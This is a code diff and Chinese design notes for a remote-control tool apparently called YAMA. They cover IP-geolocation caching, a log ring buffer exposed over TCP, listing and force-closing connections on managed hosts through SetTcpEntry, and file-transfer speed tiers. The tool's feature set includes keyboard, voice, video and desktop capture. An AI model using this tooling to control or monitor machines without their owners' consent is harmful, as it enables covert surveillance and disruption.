||||
// 进程级缓存(函数局部 static)。用局部 static 而非类成员,是为了不改动
|
||||
// IPConverter 的类布局/尺寸——QQWry/Ip2Region 派生类来自预编译的
|
||||
// PrivateDesktop_Lib.lib,改成员会与其产生 ABI 尺寸差异。
|
||||
static std::map<std::string, std::string> geoCaches;
|
||||
static std::mutex geoMutex;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(geoMutex);
|
||||
auto it = geoCaches.find(IP);
|
||||
if (it != geoCaches.end())
|
||||
return it->second;
|
||||
}
|
||||
|
||||
std::string ip = IP;
|
||||
if (isLocalIP(ip)) {
|
||||
ip = getPublicIP();
|
||||
@@ -249,7 +263,13 @@ public:
|
||||
InternetCloseHandle(hInternet);
|
||||
|
||||
if (location.empty() && IsPrivateIP(ip)) {
|
||||
return "Local Area Network";
|
||||
location = "Local Area Network";
|
||||
}
|
||||
|
||||
// 只缓存成功结果;失败不缓存,允许下次重试。
|
||||
if (!location.empty()) {
|
||||
std::lock_guard<std::mutex> lk(geoMutex);
|
||||
geoCaches[IP] = location;
|
||||
}
|
||||
return location;
|
||||
}
|
||||
@@ -308,8 +328,10 @@ private:
|
||||
}
|
||||
}
|
||||
|
||||
std::string city = Utf8ToAnsi(json[cityField].asString());
|
||||
std::string country = Utf8ToAnsi(json[countryField].asString());
|
||||
// 地理位置 API 返回 UTF-8;不再转 CP_ACP——那会把 ö/ä/ß 等变音符替换成 '?'。
|
||||
// GetGeoLocation 现统一返回 UTF-8,消费方按需用 NormalizeLocationToUtf8 / SafeUtf8ToAnsi 转。
|
||||
std::string city = json[cityField].asString();
|
||||
std::string country = json[countryField].asString();
|
||||
|
||||
if (!city.empty() && !country.empty()) return city + ", " + country;
|
||||
if (!city.empty()) return city;
|
||||
|
||||
+49
-1
@@ -29,6 +29,7 @@
|
||||
#include <cstdarg>
|
||||
#include <iomanip>
|
||||
#include <algorithm>
|
||||
#include <deque>
|
||||
|
||||
|
||||
inline bool stringToBool(const std::string& str)
|
||||
@@ -150,6 +151,22 @@ public:
|
||||
std::string logEntry = file && line ?
|
||||
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
|
||||
id + "[" + timestamp + "] " + message;
|
||||
|
||||
// 方案B:在源头统一保证每条日志以单个 '\n' 结尾,文件与内存 ring buffer
|
||||
// 共用同一份文本;写文件时不再额外追加换行,内存导出直接拼接即可正确分行。
|
||||
while (!logEntry.empty() && (logEntry.back() == '\n' || logEntry.back() == '\r'))
|
||||
logEntry.pop_back();
|
||||
logEntry += '\n';
|
||||
|
||||
// Always record to in-memory ring buffer regardless of enable flag.
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_memMutex);
|
||||
m_memLog.push_back(logEntry);
|
||||
m_totalCount++;
|
||||
if (m_memLog.size() > kMemLogMax)
|
||||
m_memLog.pop_front();
|
||||
}
|
||||
|
||||
if (enable) {
|
||||
if (running) {
|
||||
std::lock_guard<std::mutex> lock(queueMutex);
|
||||
@@ -168,6 +185,32 @@ public:
|
||||
cv.notify_one(); // 通知写线程
|
||||
}
|
||||
|
||||
// 返回内存 ring buffer 中的全部日志(供 TCP 查询使用)
|
||||
std::string DumpMemoryLog() const
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_memMutex);
|
||||
std::string result;
|
||||
result.reserve(m_memLog.size() * 128);
|
||||
for (const auto& entry : m_memLog)
|
||||
result += entry;
|
||||
return result;
|
||||
}
|
||||
|
||||
// 增量版本:只返回 fromAbs 之后的新条目,并将 fromAbs 更新到当前末尾。
|
||||
// fromAbs 是调用方维护的绝对计数器(首次传 0 即得全量)。
|
||||
std::string DumpMemoryLogFrom(size_t& fromAbs) const
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_memMutex);
|
||||
// ring buffer 内最旧条目的绝对序号
|
||||
size_t oldest = (m_totalCount >= m_memLog.size()) ? m_totalCount - m_memLog.size() : 0;
|
||||
size_t startIdx = (fromAbs <= oldest) ? 0 : (fromAbs - oldest);
|
||||
std::string result;
|
||||
for (size_t i = startIdx; i < m_memLog.size(); ++i)
|
||||
result += m_memLog[i];
|
||||
fromAbs = m_totalCount;
|
||||
return result;
|
||||
}
|
||||
|
||||
// 停止日志系统
|
||||
void stop()
|
||||
{
|
||||
@@ -220,6 +263,11 @@ private:
|
||||
std::mutex fileMutex; // 文件写入锁
|
||||
std::string pid; // 进程ID
|
||||
|
||||
static constexpr size_t kMemLogMax = 1000;
|
||||
std::deque<std::string> m_memLog;
|
||||
size_t m_totalCount = 0;
|
||||
mutable std::mutex m_memMutex;
|
||||
|
||||
Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
|
||||
|
||||
~Logger()
|
||||
@@ -263,7 +311,7 @@ private:
|
||||
std::lock_guard<std::mutex> lock(fileMutex);
|
||||
std::ofstream logFile(logFileName, std::ios::app);
|
||||
if (logFile.is_open()) {
|
||||
logFile << logEntry << std::endl;
|
||||
logFile << logEntry; // logEntry 已在 log() 中以单个 '\n' 结尾
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,259 @@
|
||||
# TCP/UDP 连接管理设计
|
||||
|
||||
> 版本:v1.1(已实现并评审) · 状态:**已施工,含字节序修正** · 日期:2026-10-04
|
||||
> 目标:在 YAMA 服务端新增「连接管理」,实时展示受管主机当前的 TCP/UDP 连接,
|
||||
> 并支持对选中的连接强制断开。这是服务管理、进程管理之外又一项「观测 + 管控」类功能。
|
||||
>
|
||||
> 需求原文(三点,逐一对应下文):
|
||||
> 1. YAMA 工具栏增加一个图标,**唯有 MCP 后面**,通过这个图标打开连接管理对话框;
|
||||
> 2. 客户端需要增加一个管理类来处理服务端请求;
|
||||
> 3. 服务端有一个对话框类展示连接信息,支持右键菜单对选中的连接强制断开。
|
||||
|
||||
## 1. 目标与范围
|
||||
|
||||
### MVP
|
||||
|
||||
| 项 | 说明 |
|
||||
|---|---|
|
||||
| 工具栏入口 | `IDR_TOOLBAR_MAIN` 在 `ID_MCP_SETTINGS` 之后追加 `ID_CONNECTION_MANAGE` 按钮(第 17 个),点击向选中主机发 `COMMAND_CONNECTION` |
|
||||
| 客户端管理类 | 新增 `CConnectionsManager : public CManager`,枚举本机 TCP/UDP 连接并回传,处理「刷新 / 强制断开」两条服务端命令 |
|
||||
| 服务端对话框 | 新增 `CConnectionsDlg : public DialogBase`,表格展示连接,右键菜单「强制断开」发 `COMMAND_KILL_CONNECTION` |
|
||||
|
||||
### 非目标(Non-goals,本次不做)
|
||||
|
||||
- 不做 **UDP / IPv6 TCP 的强制断开**(无公开 API,见 §6),仅 IPv4 TCP 可断开,其余行只读展示。
|
||||
- 不做「按进程批量断开」「按 PID 过滤」「连接历史/趋势图」。
|
||||
- 不做 Linux/Mac/Android 客户端连接枚举(沿用 Windows 客户端先行的惯例)。
|
||||
- 不改 MCP 工具集(`list_network_connections` 属于 P8 路线图,本设计只做 MFC 图形界面)。
|
||||
|
||||
## 2. 复用现状
|
||||
|
||||
本功能与「服务管理」端到端同构,直接以其为实现模板(`ServicesManager` / `ServicesDlg`)。
|
||||
|
||||
### 客户端模板(读参考实现,全部已核实)
|
||||
|
||||
- 命令分发:`client/KernelManager.cpp` `OnReceive` 的 `case COMMAND_SERVICES:`(约 1346 行):
|
||||
```
|
||||
{ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth();
|
||||
m_hThread[m_ulThreadCount].p = sub; }
|
||||
m_hThread[m_ulThreadCount++].h =
|
||||
__CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
```
|
||||
连接管理照抄,仅换 `LoopConnectionManager`。
|
||||
- 子连接线程模板:`client/Common.cpp:33` `LoopManager<Manager, n>`(`Manager m(ClientObject, n, user)` 构造即发首包,随后跑 `RunEventLoop` 分发到 `Manager::OnReceive`);`LoopServicesManager = LoopManager<CServicesManager, 0>`。
|
||||
- 管理类基类:`client/Manager.h` `CManager`(`OnReceive` 虚函数、`m_ClientObject`、`Send/SendData`、子连接生命周期)。
|
||||
- 管理类实例:`client/ServicesManager.cpp`——构造即 `SendServicesList()`(17 行);`SendServicesList()` 里用
|
||||
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);`(36–37 行)回传;`OnReceive` 里 `case COMMAND_SERVICELIST`(刷新)→ 重发、`case COMMAND_SERVICECONFIG`(动作)→ 执行后再重发(199–231 行)。
|
||||
- 编译开关:`client/ServicesManager.h:13` `#if ENABLE_SERVICE_MNG==0 #define CServicesManager CManager` 的空实现占位模式;开关定义在 `common/config.h`(`ENABLE_SERVICE_MNG TRUE`)。
|
||||
|
||||
### 服务端模板(读参考实现,全部已核实)
|
||||
|
||||
- 对话框基类:`server/2015Remote/IOCPServer.h:158` `DialogBase`(`OnInitDialog` 建列 + 解析缓冲,`OnReceiveComplete` 按 token 分发,`OnNMRClickList` 右键菜单,`OnClose`→`CancelIO`)。
|
||||
- 对话框实例:`server/2015Remote/ServicesDlg.cpp`——构造 `DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)`(24 行);`OnInitDialog` 里 `InsertColumnL` 建列 + `ShowServicesList()`(67–73 行);`OnNMRClickList` 里 `LoadMenu(IDR_MENU_SERVICES)` + `TrackPopupMenu`(216–226 行);`OnReceiveComplete` 里 `case TOKEN_SERVERLIST: ShowServicesList()`(231–235 行)。
|
||||
- 打开对话框模板:`server/2015Remote/2015RemoteDlg.h:182` `OpenDialog<T, id, Show>`。
|
||||
- 命令发送:`OnOnlineServerManager()`(`2015RemoteDlg.cpp:4758`):`BYTE bToken = COMMAND_SERVICES; SendSelectedCommand(&bToken, sizeof(BYTE));`。
|
||||
- token 路由:`2015RemoteDlg.cpp:6609` `case TOKEN_SERVERLIST:` → `g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);`。
|
||||
- 消息注册/处理:`ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)`(903 行)→ `OnOpenServicesDialog`(7811 行)→ `OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>`。
|
||||
|
||||
### 工具栏(读参考,全部已核实)
|
||||
|
||||
- 资源:`2015Remote.rc:1806` `IDR_TOOLBAR_MAIN TOOLBAR 48, 48`,现有 16 个 `BUTTON`,末尾为 `BUTTON ID_CHANGE_LANG`(1822 行)、`BUTTON ID_MCP_SETTINGS`(1823 行)。
|
||||
- 真彩位图条:`IDB_BITMAP_MAIN`(133) → `res\ToolBar_Main.bmp`(**768×48 = 16 个 48×48 图标**,24 位),
|
||||
`LoadTrueColorToolBar(48, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN)`(`2015RemoteDlg.cpp:1390`)
|
||||
按 `nNbBtn = bmWidth/48` 建图像列表(`TrueColorToolBar.cpp` `SetTrueColorToolBar`),因此**新增第 17 个按钮必须同步把位图条加宽为 816×48 并补第 17 个图标**。
|
||||
- 按钮文字:`SetButtonText(0..15)`(`2015RemoteDlg.cpp:1405–1420`),`SetButtonText(15, _T("MCP"))` 为当前最后一个。
|
||||
- 全隐藏判定:`if (hiddenCount >= 16)`(1471 行)→ **无需改动**。该计数只统计「可隐藏功能按钮」
|
||||
(终端/进程/窗口/桌面/文件/语音/视频/服务/注册表/键盘/设置/生成/搜索/关于,共 14 个),
|
||||
`ID_CHANGE_LANG`、`ID_MCP_SETTINGS` 本就不在隐藏清单内;新增的连接按钮同样不参与隐藏,
|
||||
`hiddenCount` 语义不变。
|
||||
- 命令处理:`ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)`(993 行)→ 参照加 `ID_CONNECTION_MANAGE`。
|
||||
|
||||
### 网络 API(客户端,新增依赖)
|
||||
|
||||
- 枚举:`GetExtendedTcpTable(TCP_TABLE_OWNER_PID_ALL, ...)` + `MIB_TCPTABLE_OWNER_PID`;
|
||||
同理 `GetExtendedUdpTable(UDP_TABLE_OWNER_PID)`;IPv6 用 `AF_INET6` 版本(`MIB_TCP6TABLE_OWNER_PID` / `MIB_UDP6TABLE_OWNER_PID`)。
|
||||
- 断开:`SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(12)。
|
||||
- 链接:`iphlpapi.lib`(用 `#pragma comment(lib, "iphlpapi.lib")` 内联,与代码库既有 `#pragma comment(lib, ...)` 风格一致,避免改 vcxproj)。
|
||||
|
||||
## 3. 协议与数据结构
|
||||
|
||||
### 3.1 新命令(`common/commands.h`,追加在 `CMD_FILE_SPEED = 252` 之后,均 ≤ 255 满足单字节 token)
|
||||
|
||||
```
|
||||
COMMAND_CONNECTION = 253, // 服务端 → 客户端:查询/刷新连接列表(打开连接管理)
|
||||
COMMAND_KILL_CONNECTION = 254, // 服务端 → 客户端:强制断开指定连接
|
||||
TOKEN_CONNECTION_LIST = 255, // 客户端 → 服务端:连接列表响应
|
||||
```
|
||||
|
||||
### 3.2 单条连接记录(客户端 → 服务端,固定 110 字节,小端)
|
||||
|
||||
```c
|
||||
#pragma pack(push, 1)
|
||||
struct ConnectionInfo {
|
||||
uint8_t proto; // 1=TCP, 2=UDP [1]
|
||||
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
|
||||
uint32_t pid; // 所属进程 PID [4]
|
||||
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
|
||||
uint16_t localPort; // 主机字节序(小端,ntohs 转换后) [2]
|
||||
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
|
||||
uint16_t remotePort; // 主机字节序,同上 [2]
|
||||
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
|
||||
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
|
||||
}; // 合计 110
|
||||
#pragma pack(pop)
|
||||
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be 110 bytes");
|
||||
```
|
||||
|
||||
> **字节序约定(评审后修正)**:字段不能「原样 memcpy」iphlpapi 的结构成员。`dwLocalAddr`/`dwRemoteAddr`
|
||||
> 是**网络序 DWORD**(值 `0xC0A80101` 即 `192.168.1.1`),客户端展开为 16 字节字段前 4 字节的**网络序字节**
|
||||
> (`[0xC0,0xA8,0x01,0x01]`),服务端 `inet_ntop` 可直接展示、排序键也按数值序;`dwLocalPort`/`dwRemotePort`
|
||||
> 低 16 位为**网络序**,客户端用 `ntohs` 转**主机序**再存入。断连时反向还原(地址拼回 DWORD、端口 `htons`)。
|
||||
> 地址统一 16 字节字段承载,IPv4/IPv6 用同一个结构,避免两套记录。
|
||||
|
||||
### 3.3 列表响应(客户端 → 服务端)
|
||||
|
||||
```
|
||||
[TOKEN_CONNECTION_LIST:1][count:2][ConnectionInfo:110] * count
|
||||
```
|
||||
|
||||
- `count` 为 `uint16_t` 小端,上限 65535(枚举超限则截断,实际主机连接数远低于此)。
|
||||
- 列表 >1460 字节会走 HTTP 分片;服务端 `HeaderParser::Parse` 的 `m_bShouldUnmask` 分片 bug
|
||||
已在 `a72e6eb` 修复,续包可正常到达(与进程/服务列表一致)。
|
||||
|
||||
### 3.4 强制断开请求(服务端 → 客户端)
|
||||
|
||||
```
|
||||
[COMMAND_KILL_CONNECTION:1][ConnectionInfo:110]
|
||||
```
|
||||
|
||||
- 客户端校验 `proto==1 && af==2` 才执行(仅 IPv4 TCP),否则忽略并在回包列表中保留该行。
|
||||
|
||||
## 4. 客户端实现
|
||||
|
||||
新增 `client/ConnectionsManager.{h,cpp}`,镜像 `CServicesManager`:
|
||||
|
||||
- 类声明(`ConnectionsManager.h`):
|
||||
```cpp
|
||||
#if ENABLE_CONNECTION_MNG==0
|
||||
#define CConnectionsManager CManager
|
||||
#else
|
||||
class CConnectionsManager : public CManager {
|
||||
public:
|
||||
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CConnectionsManager();
|
||||
VOID SendConnectionList(); // 枚举并回传
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
void KillConnection(const ConnectionInfo& info);
|
||||
};
|
||||
#endif
|
||||
```
|
||||
- `SendConnectionList()`:
|
||||
1. 依次 `GetExtendedTcpTable`(AF_INET / AF_INET6)+ `GetExtendedUdpTable`(AF_INET / AF_INET6),
|
||||
汇总到 `std::vector<ConnectionInfo>`;IPv4 地址展开为网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序。
|
||||
2. 每个 PID 用 `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + `GetModuleBaseNameW` 取映像名,
|
||||
转 UTF-8 写入 `procName[64]`;失败/PID 0 填 `"<unknown>"`(进程可能已退出,端点仍有效)。
|
||||
3. 组包 `[TOKEN_CONNECTION_LIST:1][count:2][records...]`,用
|
||||
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server(...);` 回传。
|
||||
- `OnReceive()`:
|
||||
- `case COMMAND_CONNECTION:` → `SendConnectionList()`(刷新)。
|
||||
- `case COMMAND_KILL_CONNECTION:` → 校验长度 ≥ 111,读 `ConnectionInfo`,`KillConnection()`,再 `SendConnectionList()`。
|
||||
- `KillConnection()`:仅 `proto==TCP && af==AF_INET`;组 `MIB_TCPROW`(`dwState=MIB_TCP_STATE_DELETE_TCB`),
|
||||
地址由网络序字节拼回 DWORD(`GetAddr4`)、端口 `htons` 转回网络序,`SetTcpEntry(&row)`。
|
||||
- 编译:`common/config.h` 增 `#define ENABLE_CONNECTION_MNG TRUE`(`// 连接管理`)。
|
||||
- 分发(`client/KernelManager.cpp`):在 `case COMMAND_SERVICES:` 后加
|
||||
```
|
||||
case COMMAND_CONNECTION: {
|
||||
if (!ENABLE_CONNECTION_MNG) return ResponseDisable(...);
|
||||
{ auto* sub = new IOCPClient(...); sub->EnableSubConnAuth(); ...; }
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(..., LoopConnectionManager, ...);
|
||||
break;
|
||||
}
|
||||
```
|
||||
- 线程注册(`client/Common.cpp` / `Common.h`):`#define LoopConnectionManager LoopManager<CConnectionsManager, 0>`。
|
||||
|
||||
## 5. 服务端实现
|
||||
|
||||
新增 `server/2015Remote/ConnectionsDlg.{h,cpp}`,镜像 `CServicesDlg`:
|
||||
|
||||
- `CConnectionsDlg(CWnd*, Server*, CONTEXT_OBJECT*) : DialogBase(IDD_DIALOG_CONNECTIONS, pParent, IOCPServer, ContextObject, IDI_CONNECTION)`。
|
||||
- `OnInitDialog`:`InsertColumnL` 建列 `协议 | 本地地址 | 本地端口 | 远端地址 | 远端端口 | 状态 | PID | 进程名`(8 列),调 `ShowConnectionList()`。
|
||||
- `ShowConnectionList()`:解析 `m_ContextObject->InDeCompressedBuffer`(`[token:1][count:2][records...]`)填表,
|
||||
每条 `SetItemData` 存行内偏移(或直接把 `ConnectionInfo` 存进项关联数据),供右键断连取回记录。
|
||||
- `OnReceiveComplete()`:`case TOKEN_CONNECTION_LIST: ShowConnectionList()`。
|
||||
- `OnNMRClickList()`:用 `pNMItemActivate->iItem` 取**鼠标右键所在行**(而非仅依赖已选中行),
|
||||
由该行 `SetItemData` 里存的 `ConnectionInfo` 拿回记录;`LoadMenu(IDR_MENU_CONNECTIONS)` →
|
||||
`TrackPopupMenu`;菜单项「强制断开」(`ID_CONNECTION_KILL`)对**仅 IPv4 TCP 行可用**,发
|
||||
`[COMMAND_KILL_CONNECTION:1][record:110]`;UDP/IPv6 行禁用该菜单项(`MF_GRAYED`)。
|
||||
- 对话框标题栏图标 `IDI_CONNECTION`(`.ico`,`DialogBase` 构造第 5 参)与工具栏位图条第 17 个
|
||||
48×48 图标是两回事:前者复用现有图标(如 `IDI_SERVICE`)或新增一个 `.ico`;后者编辑
|
||||
`ToolBar_Main.bmp` 补第 17 格(见下)。
|
||||
- 提供刷新(补发 `COMMAND_CONNECTION`)与 `OnClose`→`CancelIO()`。
|
||||
|
||||
工具栏 / 消息路由(`2015RemoteDlg.{h,cpp}` + `Resource.h` + `.rc`):
|
||||
|
||||
- `Resource.h`:`IDD_DIALOG_CONNECTIONS 404`、`IDR_MENU_CONNECTIONS 405`、`IDI_CONNECTION`(新图标 ID)、
|
||||
`ID_CONNECTION_MANAGE 33086`(`_APS_NEXT_COMMAND_VALUE` 现为 33086,用后 +2)、`ID_CONNECTION_KILL`;
|
||||
同步上调 `_APS_NEXT_RESOURCE_VALUE`/`_APS_NEXT_COMMAND_VALUE`。
|
||||
- `.rc`(UTF-16LE,Node 脚本改):`IDR_TOOLBAR_MAIN` 末尾加 `BUTTON ID_CONNECTION_MANAGE`;
|
||||
新增 `IDD_DIALOG_CONNECTIONS` 对话框与 `IDR_MENU_CONNECTIONS` 菜单。
|
||||
- `res\ToolBar_Main.bmp`:**加宽为 816×48,补第 17 个 48×48「连接」图标**(实现时用脚本合成一个
|
||||
双节点/插头样式图标插入条尾;图标观感属评审项)。
|
||||
- `2015RemoteDlg.cpp`:
|
||||
- `SetButtonText(16, _TR("连接管理"))`(1420 行后)。
|
||||
- `hiddenCount >= 16`(1471 行)**无需改动**(连接按钮不参与隐藏,理由见 §2)。
|
||||
- `ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)`(993 行后)。
|
||||
- `OnConnectionManage()`:`BYTE bToken = COMMAND_CONNECTION; SendSelectedCommand(&bToken, sizeof(BYTE));`。
|
||||
- `MessageHandle` 加 `case TOKEN_CONNECTION_LIST:` → `SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject)`(6609 行后)。
|
||||
- `ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)` + `OnOpenConnectionDialog` →
|
||||
`OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam)`。
|
||||
- `stdafx.h`:`#define WM_OPENCONNECTIONDIALOG WM_USER + 3045`(现最高占用 `WM_USER+3044`,已核实无冲突)。
|
||||
- 语言:`lang/en_US.ini` / `zh_TW.ini`(GBK,Python 改)补「连接管理 / 强制断开 / 8 列表头」文案。
|
||||
|
||||
## 6. 强制断开的实现与限制
|
||||
|
||||
- **仅 IPv4 TCP** 用 `SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(公开 API 唯一支持)。
|
||||
- **重构 `MIB_TCPROW` 要点**:`dwState=12`;`dwLocalAddr/dwRemoteAddr` 由 16 字节字段前 4 字节的
|
||||
网络序字节拼回网络序 DWORD(`GetAddr4`);`dwLocalPort/dwRemotePort` 由主机序 `htons` 转回网络序。
|
||||
- **UDP**:无「按端点关闭 socket」的公开 API,MVP 只读展示(菜单置灰)。
|
||||
- **IPv6 TCP**:`SetTcpEntry` 的 `MIB_TCPROW` 为 IPv4 结构,无公开的 IPv6 对应删除 API,MVP 只读展示。
|
||||
- **权限**:`SetTcpEntry` 需管理员/足够权限;YAMA 客户端通常以服务(SYSTEM)运行,满足。若非提权,
|
||||
`SetTcpEntry` 返回错误,`KillConnection` 静默失败并在刷新后的列表中保留该行(可观察结果,不误报)。
|
||||
|
||||
## 7. 安全与边界
|
||||
|
||||
1. **可能断开 YAMA 自身控制通道**:连接列表包含客户端↔服务端的主/子连接本身,若管理员选中并强制断开,
|
||||
对应主机会立即离线。对话框对此不做特殊保护(与 `kill_process` 可杀自身守护进程同理),
|
||||
但列表按 PID 可辨识本程序进程名,便于人工避让。
|
||||
2. **强制断开不可逆**:断的是对端已建立的 TCP 连接,应用层不保存状态,可能造成数据丢失;对话框不弹二次确认
|
||||
(确认责任在操作者),但右键菜单为显式单点操作。
|
||||
3. **枚举成本**:每行一次 `OpenProcess` 取进程名,数百行连接约毫秒~十毫秒级,可接受;`OpenProcess` 失败直接
|
||||
`"<unknown>"`,不阻塞枚举。
|
||||
4. **PID 复用 / 进程退出**:断连用的是**端点**而非 PID,进程退出不影响 `SetTcpEntry` 命中;`procName` 仅用于展示。
|
||||
5. **HTTP 分片**:连接数多时列表可超 1460 字节,依赖已修复的分片续包处理(§3.3)。
|
||||
6. **老版本客户端**:老客户端无 `COMMAND_CONNECTION` 处理,点工具栏会无响应(与「老客户端不支持活动历史/日志」
|
||||
同类),属预期;不影响服务端其它功能。
|
||||
|
||||
## 8. 验证计划(施工后填写)
|
||||
|
||||
1. 服务端:MSBuild 加 `-p:SolutionDir` 编译通过(见项目记忆 yama-server-msbuild-solutiondir);客户端同步编译。
|
||||
2. 部署客户端到真实 Windows 主机 → 服务端选中主机 → 点新图标 → 对话框列出 TCP/UDP(含 IPv4/IPv6)连接,
|
||||
字段(协议/地址/端口/状态/PID/进程名)与远端 `netstat -ano` 一致。
|
||||
3. 右键一条 **IPv4 TCP** 已建立连接(如对测试服务器的 ESTABLISHED)→ 强制断开 → 刷新后该行消失、
|
||||
远端 `netstat` 不再显示;进程自身未受影响。
|
||||
4. 右键 **UDP / IPv6** 行 → 菜单项置灰,不可断连。
|
||||
5. 刷新按钮 / 重复打开对话框 → 列表更新正常;关对话框后子连接释放(无泄漏)。
|
||||
6. 回归:服务管理 / 进程管理 / MCP 等既有功能不受影响(无 command/token/ID 冲突)。
|
||||
|
||||
## 9. 实现记录
|
||||
|
||||
- 已实现并评审通过(2026-10-04)。实现与 §4/§5 一致:工具栏第 17 个图标(`ID_CONNECTION_MANAGE`,紧邻 MCP 之后)
|
||||
打开连接管理对话框;客户端新增 `CConnectionsManager` 枚举并回传本机 TCP/UDP 连接;服务端新增 `CConnectionsDlg`
|
||||
表格展示、右键「强制断开」发 `COMMAND_KILL_CONNECTION`、支持表头点击排序。
|
||||
- **评审修正一处关键缺陷(字节序)**:iphlpapi 的 IPv4 地址 `dwLocalAddr` 是网络序 DWORD、端口 `dwLocalPort`
|
||||
低 16 位是网络序。初版「原样 memcpy / 原样回填」导致展示的 IPv4 地址与端口字节序颠倒(强断因往返对称仍能命中)。
|
||||
已改为:地址存网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序;断连时地址拼回 DWORD(`GetAddr4`)、端口
|
||||
`htons` 转回网络序。详见 §3.2 / §6。
|
||||
- 对话框标题栏小图标 `IDI_CONNECTION` 由工具栏第 17 个图标生成 `res/connections.ico`(48/32/16,32 位带透明)。
|
||||
- 编译:`client/ConnectionsManager.cpp`(UTF-8 BOM + CRLF,`ws2tcpip.h` 引入 `_WS2IPDEF_` 以使用 IPv6 MIB 结构)
|
||||
经 MSBuild(v143 工具集覆盖)编译通过;整仓 ghost 构建在本机 BuildTools 因缺少 ATL 头受阻,属环境问题,与本功能无关。
|
||||
@@ -0,0 +1,151 @@
|
||||
# YAMA 文件传输速度调节设计
|
||||
|
||||
> **状态**:已实现(Windows 端,含多语言)。其他平台(Linux/macOS 客户端)暂不实施。
|
||||
> **读者**:研发/评审人员。
|
||||
> **关联文档**:[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议)、[Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md)(MCP 文件传输)。
|
||||
|
||||
---
|
||||
|
||||
## 1. 背景与目标
|
||||
|
||||
文件传输速度目前是**写死的**:`SimplePlugins` 库的 `InitFileUpload(key, msg, hmac, chunkSizeKb, sendDurationMs, ...)` 被 YAMA 所有调用点传 `64, 50`,折算 ≈ 1.25 MB/s。用户无法调节。
|
||||
|
||||
目标:在 YAMA 主菜单「高级」下新增一个**面向小白**的「文件传输速度」对话框——拖动滑块即完成设置,实时显示预估速度;**不修改 SimplePlugins 库**(库已编译,只通过其已暴露的 `chunkSizeKb`/`sendDurationMs` 两个入参控制)。
|
||||
|
||||
---
|
||||
|
||||
## 2. 速度原理(现状)
|
||||
|
||||
库内部把两个入参转成全局量(`SimplePlugins/file_upload.cpp:221-222, 849-850`):
|
||||
|
||||
```cpp
|
||||
static int chunk_size = 64 * 1024; // 默认 64KB
|
||||
static int send_duration = 50; // 默认 50ms
|
||||
// InitFileUpload: chunk_size = chunkSizeKb * 1024; send_duration = sendDurationMs;
|
||||
```
|
||||
|
||||
发送循环每发一块就 `Sleep(send_duration)`(V1 `FileBatchTransferWorker` 与 V2 `FileBatchTransferWorkerV2` 共用这对全局量):
|
||||
|
||||
```
|
||||
预估速度 = chunkSizeKb * 1024 / (sendDurationMs / 1000) 字节/秒
|
||||
默认 64KB / 50ms ≈ 1.25 MB/s
|
||||
```
|
||||
|
||||
两个关键约束:
|
||||
|
||||
1. **速度只在 `InitFileUpload` 时设定一次**,库无运行时 setter(`g_threadCount > 1` 时提前返回,不会重设)。
|
||||
2. **V1 / V2 共用同一对全局量**,一次设置同时覆盖 `COMMAND_SEND_FILE(68)` 与 `COMMAND_SEND_FILE_V2(85)` 两种协议。
|
||||
|
||||
---
|
||||
|
||||
## 3. 档位表(权威唯一来源,主控端对话框维护)
|
||||
|
||||
| 档位 | 名称 | chunkKb | durationMs | 预估速度 |
|
||||
|---|---|---|---|---|
|
||||
| 0 | 最慢 | 64 | 200 | ≈ 0.3 MB/s |
|
||||
| 1 | 慢 | 64 | 100 | ≈ 0.6 MB/s |
|
||||
| 2 | 默认 | 64 | 50 | ≈ 1.25 MB/s |
|
||||
| 3 | 快 | 128 | 50 | ≈ 2.5 MB/s |
|
||||
| 4 | 更快 | 256 | 50 | ≈ 5 MB/s |
|
||||
| 5 | 很快 | 512 | 50 | ≈ 10 MB/s |
|
||||
| 6 | 不限速 | 1024 | 0 | 网络上限 |
|
||||
|
||||
- 滑块 `CSliderCtrl` 范围 `0..6`,`SetPageSize(1)`,默认落在 2。
|
||||
